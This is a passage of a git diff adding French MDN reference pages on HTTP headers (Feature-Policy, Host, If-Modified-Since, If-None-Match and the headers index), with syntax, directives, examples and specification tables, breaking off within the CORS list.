+ <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="https://www.w3.org/TR/wake-lock/">API Wake Lock</a> pour indiquer que l'appareil ne devrait se mettre en veille.</dd>
+ <dt>{{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Screen_Wake_Lock_API">API Screen Wake Lock</a> pour indiquer que l'appareil ne devrait pas assombrir ou éteindre l'écran.</dd>
+ <dt>{{httpheader("Feature-Policy/web-share", "web-share")}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser la méthode {{domxref("Navigator.share","Navigator.share()")}} de l'API Web Share pour partager du texte, des liens, des images et d'autres contenus à des destinations arbitraires sur le choix de l'utilisateur, par exemple à des applications mobiles.</dd>
+ <dt>{{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}}</dt>
+ <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/WebXR_Device_API">API WebXR Device</a> pour interagir avec une WebXR.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>SecureCorp Inc. souhaite désactiver les API du microphone et de géolocalisation dans son application. Elle peut le faire en délivrant l'en-tête de réponse HTTP suivant pour définir une réglementation des fonctionnalités :</p>
+
+<pre class="notranslate">Feature-Policy: microphone 'none'; geolocation 'none'</pre>
+
+<p>En spécifiant la valeur <code>'none'</code> pour liste des origines, les fonctionnalités auquel la valeur est appliquée seront désactivées pour tous les contextes de navigation (incluant tout les cadres <code>&lt;iframe&gt;</code>), quelle que soit leur origine.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://w3c.github.io/webappsec-permissions-policy/#permissions-policy-http-header-field">Permissions Policy</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("http.headers.Feature-Policy")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li>
+ <li>{{DOMxRef("Document.featurePolicy")}} and {{DOMxRef("FeaturePolicy")}}</li>
+ <li><a class="external external-icon" href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop" rel="noopener">Feature-Policy Tester (Chrome Developer Tools extension)</a></li>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Referrer-Policy")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/host/index.html b/files/fr/web/http/headers/host/index.html
new file mode 100644
index 0000000000..609a96469b
--- /dev/null
+++ b/files/fr/web/http/headers/host/index.html
@@ -0,0 +1,75 @@
+---
+title: Host
+slug: Web/HTTP/Headers/Host
+tags:
+  - HTTP
+  - Reference
+  - en-tête
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de requête <code><strong>Host</strong></code> spécifie le nom de domaine du serveur (pour de l'hébergement virtuel), et (optionnellement) le numéro du port TCP sur lequel le serveur écoute.</p>
+
+<p>Si aucun port n'est donné, le port par défaut du service demandé sera utilisé (par exemple, "80" pour une URL HTTP).</p>
+
+<p>Un champ d'en-tête <code>Host</code> doit être envoyé dans tous les messages de requête HTTP/1.1. Un code HTTP {{HTTPStatus("400")}} (Bad Request) sera envoyé à tout message de requette HTTP/1.1 ne contenant pas un champ d'en-tête <code>Host</code> ou qui en contient plus d'un.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Request header","En-tête de requête")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name"," Nom d'en-tête interdit ")}}</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;port&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>le nom de domaine du serveur (pour de l'hébergement virtuel).</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>numéro de port TCP sur lequel le serveur écoute.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Host", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez jeter un coup d'œil à <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</p>
+
+<p>{{Compat("http.headers.Host")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/if-modified-since/index.html b/files/fr/web/http/headers/if-modified-since/index.html
new file mode 100644
index 0000000000..b0ae54318a
--- /dev/null
+++ b/files/fr/web/http/headers/if-modified-since/index.html
@@ -0,0 +1,92 @@
+---
+title: If-Modified-Since
+slug: Web/HTTP/Headers/If-Modified-Since
+tags:
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Headers/If-Modified-Since
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête de requête HTTP <strong><code>If-Modified-Since</code></strong> rend la requête conditionnelle : le serveur renverra la ressource demandée, avec un status {{HTTPStatus("200")}}, seulement si elle a été modifiée pour la dernière fois après la date donnée. Si la ressource n'a pas été modifiée depuis, la réponse sera un {{HTTPStatus("304")}} sans aucun contenu; le header {{HTTPHeader("Last-Modified")}} contiendra la date de la dernière modification. À l'inverse de {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> ne peut être utilisé qu'avec un {{HTTPMethod("GET")}} ou un {{HTTPMethod("HEAD")}}.</p>
+
+<p>Lorsqu'il est combiné avec {{HTTPHeader("If-None-Match")}}, il est ignoré, à moins que le serveur ne supporte pas <code>If-None-Match</code>.</p>
+
+<p>Le cas d'usage le plus courant est la mise-à-jour d'une entité cachée qui n'a pas de {{HTTPHeader("ETag")}} associé.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">If-Modified-Since: &lt;label-jour&gt;, &lt;jour&gt; &lt;mois&gt; &lt;année&gt; &lt;heure&gt;:&lt;minute&gt;:&lt;seconde&gt; GMT
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;label-jour&gt;</dt>
+ <dd>Parmis : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).</dd>
+ <dt>&lt;jour&gt;</dt>
+ <dd>2 chiffres du numéro du jour, par ex. "04" or "23".</dd>
+ <dt>&lt;mois&gt;</dt>
+ <dd>Parmis : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd>
+ <dt>&lt;année&gt;</dt>
+ <dd>4 chiffres de l'année, par ex. "1990" ou "2016".</dd>
+ <dt>&lt;heure&gt;</dt>
+ <dd>2 chiffres du numéro de l'heure, par ex. "09" ou "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 chiffres des minutes, par ex. "04" or "59".</dd>
+ <dt>&lt;seconde&gt;</dt>
+ <dd>2 chiffres des secondes, par ex. "04" or "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p><em>Greenwich Mean Time</em>. Les dates HTTP sont toujours exprimées en GMT, jamais en temps localisé.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility_avec_les_navigateurs">Compatibility avec les navigateurs</h2>
+
+<p class="hidden">La table de compatibilités de cette page est générée à partir de données structurées. Si vous souhaitez contribuez à la donnée, regardez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une <em>pull request</em>.</p>
+
+<p>{{Compat("http.headers.If-Modified-Since")}}</p>
+
+<h2 id="À_voir_aussi">À voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+</ul>
diff --git a/files/fr/web/http/headers/if-none-match/index.html b/files/fr/web/http/headers/if-none-match/index.html
new file mode 100644
index 0000000000..44bc3c3749
--- /dev/null
+++ b/files/fr/web/http/headers/if-none-match/index.html
@@ -0,0 +1,96 @@
+---
+title: If-None-Match
+slug: Web/HTTP/Headers/If-None-Match
+tags:
+  - En-tête HTTP
+  - En-tête de requête
+  - HTTP
+  - Reference
+  - Requêtes Conditionnelles
+translation_of: Web/HTTP/Headers/If-None-Match
+---
+<div> </div>
+
+<p>L'en-tête de requête HTTP <strong><code>If-None-Match</code></strong> permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées.</p>
+
+<p>Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary.</p>
+
+<p>La comparaison avec l'{{HTTPHeader("ETag")}} stocké utilise l'<em>algorithme de comparaison faible</em>, c'est-à-dire que 2 fichiers sont considérés identiques pas seulement s'ils sont identiques octet à octet mais si leurs contenus sont équivalents. Par exemple, 2 pages dont seule la date de génération dans le pied de page diffère seraient considérées identiques.</p>
+
+<p>Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte).</p>
+
+<p>Il y a 2 cas d'utilisation communs:</p>
+
+<ul>
+ <li>Pour les méthodes {{HTTPMethod("GET")}} and {{HTTPMethod("HEAD")}}, pour mettre à jour une entité en cache qui a un {{HTTPHeader("ETag")}} associé.</li>
+ <li>Pour les autres méthodes, et en particulier pour {{HTTPMethod("PUT")}}, <code>If-None-Match</code> avec pour valeur <code>*</code> peut être  utilisé pour sauver un fichier dont on ne sait pas s'il existe, garantissant qu'un autre téléversement n'a pas été fait avant, perdant les données du précédent chargement ; ce problème est une variation du <a href="https://www.w3.org/1999/04/Editing/#3.1">problème de la mise à jour perdue</a>.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("En-tête de requête")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nom d'en-tête interdit")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">If-None-Match: "&lt;valeur_etag&gt;"
+If-None-Match: "&lt;valeur_etag&gt;", "&lt;valeur_etag&gt;", …
+If-None-Match: *</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;etag_value&gt;</dt>
+ <dd>Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme <code>"675af34563dc-tr34"</code>) et peuvent être préfixés par <code>W/</code> pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec <code>If-None-Match</code> car il n'utilise que cet algorithme).</dd>
+ <dt><code>*</code></dt>
+ <dd>L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
+
+If-None-Match: W/"67ab43", "54ed21", "7892dd"
+
+If-None-Match: *
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "If-None-Match", "3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous voulez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</p>
+
+<p>{{Compat("http.headers.If-None-Match")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+</ul>
diff --git a/files/fr/web/http/headers/index.html b/files/fr/web/http/headers/index.html
new file mode 100644
index 0000000000..a493fb6715
--- /dev/null
+++ b/files/fr/web/http/headers/index.html
@@ -0,0 +1,451 @@
+---
+title: En-têtes HTTP
+slug: Web/HTTP/Headers
+tags:
+  - En-têtes
+  - HTTP
+  - Headers
+  - Networking
+  - Overview
+  - Reference
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Les en-têtes HTTP permettent au client et au serveur de transmettre des informations supplémentaires avec la requête ou la réponse. Un en-tête de requête est constitué de son nom (insensible à la casse) suivi d'un deux-points <code>:</code>, puis de sa valeur (sans saut de ligne). L'espace blanc avant la valeur est ignoré.</p>
+
+<p>Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe <code>X-</code>, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans <a class="external" href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; les autres en-têtes possibles sont listés dans une <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">liste IANA</a> et ont été définis dans la <a class="external" href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA maintient également une <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">liste des propositions de nouveaux entêtes HTTP</a>.</p>
+
+<p>Les en-têtes peuvent être groupés selon leur contexte :</p>
+
+<ul>
+ <li>{{Glossary("General header","En-tête général")}} : en-têtes s'appliquant à la fois aux requêtes et aux réponses mais sans rapport avec les données éventuellement transmises dans le corps de la requête ou de la réponse.</li>
+ <li>{{Glossary("Request header","En-tête de requête")}} : en-têtes contenant plus d'informations au sujet de la ressource à aller chercher ou à propos du client lui-même.</li>
+ <li>{{Glossary("Response header","En-tête de réponse")}} : en-têtes contenant des informations additionnelles au sujet de la réponse comme son emplacement, ou au sujet du serveur lui-même (nom et version, etc.)</li>
+ <li>{{Glossary("Entity header","En-tête d'entité")}} : en-têtes contenant plus d'informations au sujet du corps de l'entité comme la longueur de son contenu ou son <a href="/fr/docs/Glossaire/Type_MIME">type MIME</a>.</li>
+</ul>
+
+<p>Les en-têtes peuvent aussi être groupés par la manière dont les {{Glossary("Proxy_server", "serveurs mandataires (proxies)")}} les traitent :</p>
+
+<ul>
+ <li>{{httpheader("Connection")}}</li>
+ <li>{{httpheader("Keep-Alive")}}</li>
+ <li>{{httpheader("Proxy-Authenticate")}}</li>
+ <li>{{httpheader("Proxy-Authorization")}}</li>
+ <li>{{httpheader("TE")}}</li>
+ <li>{{httpheader("Trailer")}}</li>
+ <li>{{httpheader("Transfer-Encoding")}}</li>
+ <li>{{httpheader("Upgrade")}} (voir aussi <a href="/fr/docs/Web/HTTP/Protocol_upgrade_mechanism">mécanisme de mise à jour de protocole</a>)</li>
+</ul>
+
+<dl>
+ <dt>En-têtes de bout en bout ('End-to-end headers') :</dt>
+ <dd>Ces entêtes doivent être transmis au destinataire final du message ; c'est-à-dire le serveur dans le cas d'une requête ou le client dans le cas d'une réponse. Les serveurs mandataires intermédiaires doivent retransmettre les en-têtes de bout en bout sans modification et doivent les mettre en cache.</dd>
+ <dt>En-têtes de point à point ('Hop-by-hop headers') :</dt>
+ <dd>Ces en-têtes n'ont de sens que pour une unique connexion de la <a class="external" href="https://fr.wikipedia.org/wiki/Couche_transport">couche transport</a> et ne doivent pas être retransmis par des serveurs mandataires ou mis en cache. Il s'agit d'en-têtes tels que: {{httpheader("Connection")}}, {{httpheader("Keep-Alive")}}, {{httpheader("Proxy-Authenticate")}}, {{httpheader("Proxy-Authorization")}}, {{httpheader("TE")}}, {{httpheader("Trailer")}}, {{ httpheader("Transfer-Encoding")}} et {{httpheader("Upgrade")}}. A noter que seuls les en-têtes de point à point peuvent être utilisés avec l'en-tête général {{httpheader("Connection")}}.</dd>
+</dl>
+
+<p>La liste suivante résume les en-têtes HTTP en fonction de leur utilisation. Une liste triée par ordre alphabétique est disponible dans le panneau de navigation à gauche.</p>
+
+<h2 id="Authentification">Authentification</h2>
+
+<dl>
+ <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+ <dd>définit la méthode d'authentification qui doit être utilisée pour obtenir l'accès à la ressource.</dd>
+ <dt>{{HTTPHeader("Authorization")}}</dt>
+ <dd>contient les informations d'identification pour authentifier un agent utilisateur avec un serveur.</dd>
+ <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+ <dd>définit la méthode d'authentification qui doit être utilisée pour obtenir la ressource derrière un serveur mandataire.</dd>
+ <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+ <dd>contient les informations d'identification nécessaires pour authentifier un agent utilisateur avec un serveur mandataire.</dd>
+</dl>
+
+<h2 id="Mise_en_cache">Mise en cache</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Age")}}</dt>
+ <dd>la durée en secondes passée par l'objet dans un cache proxy.</dd>
+ <dt>{{HTTPHeader("Cache-Control")}}</dt>
+ <dd>spécifie des directives pour les mécanismes de mise en cache dans les requêtes et les réponses.</dd>
+ <dt>{{HTTPHeader("Clear-Site-Data")}}</dt>
+ <dd>nettoie les données de navigation (mouchards (<em>cookies</em>), stockage et cache) associé au site demandé.</dd>
+ <dt>{{HTTPHeader("Expires")}}</dt>
+ <dd>la date et l'heure après lesquelles la réponse est considérée comme périmée.</dd>
+ <dt>{{HTTPHeader("Pragma")}}</dt>
+ <dd>en-tête spécifique à la mise en œuvre pouvant avoir divers effets le long de la chaîne de requête-réponse. Utilisé pour la rétrocompatibilité avec les caches HTTP / 1.0 où l'en-tête <code>Cache-Control</code> n'est pas encore présent.</dd>
+ <dt>{{HTTPHeader("Warning")}}</dt>
+ <dd>un champ d'avertissement général contenant des informations sur les problèmes possibles.</dd>
+</dl>
+
+<h2 id="Astuces_client">Astuces client</h2>
+
+<p>Les {{Glossary("Client_hints", "astuces clients")}} HTTP sont enc cours de création. La documentation actuelle est disponible sur le <a href="https://httpwg.org/http-extensions/client-hints.html">site du groupe de travail sur HTTP</a>.</p>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH")}} {{experimental_inline}}</dt>
+ <dd>les serveurs peuvent informer de leur niveau de support pour les Client Hints en utilisant l'en-tête <code>Accept-CH</code> ou en HTML avec l'élément <code>&lt;meta&gt;</code> ayant l'attribut <code>http-equiv</code> (<a href="https://httpwg.org/http-extensions/client-hints.html#HTML5"><cite>[HTML5]</cite></a>).</dd>
+ <dt>{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}</dt>
+ <dd>les serveurs peuvent demander au client de mémoriser l'ensemble des Client Hints que le serveur supporte pour une période de temps donnée, afin de permettre la livraison de Client Hints sur les requêtes suivantes vers l'origine du serveur (<a href="https://httpwg.org/http-extensions/client-hints.html#RFC6454"><cite>[RFC6454]</cite></a>).</dd>
+ <dt>{{HTTPHeader("Content-DPR")}} {{experimental_inline}}</dt>
+ <dd>un nombre indiquant le rapport entre le nombre de pixels physiques et le nombre de pixels CSS de l'image réponse sélectionnée.</dd>
+ <dt>{{HTTPHeader("DPR")}} {{experimental_inline}}</dt>
+ <dd>un nombre indiquant le Device Pixel Ratio (DPR) actuel du client, qui est le rapport du nombre de pixels physiques sur le nombre de pixels CSS (Section 5.2 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSSVAL"><cite>[CSSVAL]</cite></a>) de la zone d'affichage (Section 9.1.1 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSS2"><cite>[CSS2]</cite></a>) sur l'appareil.</dd>
+ <dt>{{HTTPHeader("Device-Memory")}} {{experimental_inline}}</dt>
+ <dd>faisant techniquement partie de l'API Device Memory, cet en-tête représente la quantité approximative de mémoire vive dont le client dispose.</dd>
+ <dt>{{HTTPHeader("Early-Data")}} {{experimental_inline}}</dt>
+ <dd>indique que les requêtes doivent être communiquées en TLS early data.</dd>
+ <dt>{{HTTPHeader("Save-Data")}} {{experimental_inline}}</dt>
+ <dd>booléen indiquant les préférences de l'agent utilisateur pour réduire la quantité de données transmises.</dd>
+ <dt>{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}</dt>
+ <dd>la largeur de la zone d'affichage, soit le nombre de pixels CSS. La valeur fournise est arrondie au plus grand proche supérieur.</dd>
+ <dd>Si <code>Viewport-Width</code> apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.</dd>
+ <dt>{{HTTPHeader("Width")}} {{experimental_inline}}</dt>
+ <dd>l'en-tête de requête <code>Width</code> représente la largeur de la ressource voulue en nombre de pixels physiques. La valeur fournise est arrondie au plus proche entier supérieur.</dd>
+ <dd>Si la largeur de la ressource voulue est inconnue quand la requête ou la ressource n'a pas de largeur d'affichage, l'en-tête <code>Width</code> peut être omise. Si <code>Width</code> apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.</dd>
+</dl>
+
+<h2 id="Conditionnels">Conditionnels</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Last-Modified")}}</dt>
+ <dd>c'est un validateur, la dernière date de modification de la ressource, utilisée pour comparer plusieurs versions de la même ressource. Il est moins précis que {{HTTPHeader("ETag")}}, mais plus facile à calculer dans certains environnements. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Unmodified-Since")}} utilisent cette valeur pour modifier le comportement de la requête.</dd>
+ <dt>{{HTTPHeader("ETag")}}</dt>
+ <dd>c'est un validateur, une chaîne unique identifiant la version de la ressource. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Match")}} et {{HTTPHeader("If-None-Match")}} utilisent cette valeur pour changer le comportement de la requête.</dd>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>rend la requête conditionnelle et n'applique la méthode que si la ressource stockée correspond à l'un des ETags donnés.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>rend la requête conditionnelle et n'applique la méthode que si la ressource stockée ne correspond à aucun des ETags donnés. Ceci est utilisé pour mettre à jour les caches (pour les requêtes sécurisées), ou pour empêcher de télécharger une nouvelle ressource lorsqu'elle existe déjà.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>rend la requête conditionnelle et attend que l'entité soit transmise seulement si elle a été modifiée après la date donnée. Ceci est utilisé pour transmettre des données uniquement lorsque le cache est obsolète.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>rend la demande conditionnelle et attend que l'entité soit transmise seulement si elle n'a pas été modifiée après la date donnée. Ceci est utilisé pour assurer la cohérence d'un nouveau fragment d'une plage spécifique avec les précédentes, ou pour implémenter un système de contrôle de concurrence optimiste lors de la modification de documents existants.</dd>
+ <dt>{{HTTPHeader("Vary")}}</dt>
+ <dd>détermine comment faire correspondre les futurs en-têtes de demande pour décider si une réponse mise en cache peut être utilisée plutôt que d'en demander une nouvelle au serveur d'origine.</dd>
+</dl>
+
+<h2 id="Gestion_de_connexion">Gestion de connexion</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Connection")}}</dt>
+ <dd>contrôle si la connexion réseau reste ouverte après la fin de la transaction en cours.</dd>
+ <dt>{{HTTPHeader("Keep-Alive")}}</dt>
+ <dd>contrôle la durée pendant laquelle une connexion persistante doit rester ouverte.</dd>
+</dl>
+
+<h2 id="Négociation_de_contenu">Négociation de contenu</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept")}}</dt>
+ <dd>informe le serveur des types de données pouvant être renvoyés. C'est un type MIME.</dd>
+ <dt>{{HTTPHeader("Accept-Charset")}}</dt>
+ <dd>informe le serveur du jeu de caractères que le client peut comprendre.</dd>
+ <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+ <dd>informe le serveur sur l'algorithme de codage, généralement un algorithme de compression, qui peut être utilisé sur la ressource renvoyée.</dd>
+ <dt>{{HTTPHeader("Accept-Language")}}</dt>
+ <dd>informe le serveur de la langue que le serveur doit renvoyer. Ceci est un indice et n'est pas nécessairement sous le contrôle total de l'utilisateur : le serveur doit toujours faire attention à ne pas remplacer un choix explicite de l'utilisateur (telle la sélection d'une langue dans une liste déroulante).</dd>
+</dl>
+
+<h2 id="Contrôles">Contrôles</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Expect")}}</dt>
+ <dd>indique ce qui est attendu de la part du serveur afin de pouvoier gérer correctement la requête.</dd>
+ <dt>{{HTTPHeader("Max-Forwards")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Cookies">Cookies</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cookie")}}</dt>
+ <dd>contient les <a href="/fr/docs/HTTP/Cookies">cookies HTTP</a> stockés précédemment envoyés par le serveur à l'aide de l'en-tête {{HTTPHeader("Set-Cookie")}}.</dd>
+ <dt>{{HTTPHeader("Set-Cookie")}}</dt>
+ <dd>envoie des cookies du serveur à l'agent utilisateur.</dd>
+ <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>utilisé pour contenir un cookie HTTP, précédemment envoyé par le serveur avec l'en-tête {{HTTPHeader("Set-Cookie2")}}, mais qui a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Cookie")}} à la place.</dd>
+ <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>utilisé pour envoyer des cookies du serveur à l'agent utilisateur, mais a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Set-Cookie")}} à la place.</dd>
+</dl>
+
+<h2 id="Cross-Origin_Resource_Sharing_CORS"><a href="/fr/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></h2>
+
+<dl>
+ <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+ <dd>indique si la réponse peut être partagée.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+ <dd>indique si la réponse à la demande peut être exposée lorsque l'indicateur d'informations d'identification est vrai.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+ <dd>utilisé en réponse à une demande de contrôle en amont pour indiquer quels en-têtes HTTP peuvent être utilisés lors de la requête effective.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+ <dd>spécifie la ou les méthodes autorisées lors de l'accès à la ressource en réponse à une demande de contrôle en amont.</dd>
+ <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+ <dd>indique en-têtes pouvant être exposés dans le cadre de la réponse en listant leurs noms.</dd>
+ <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
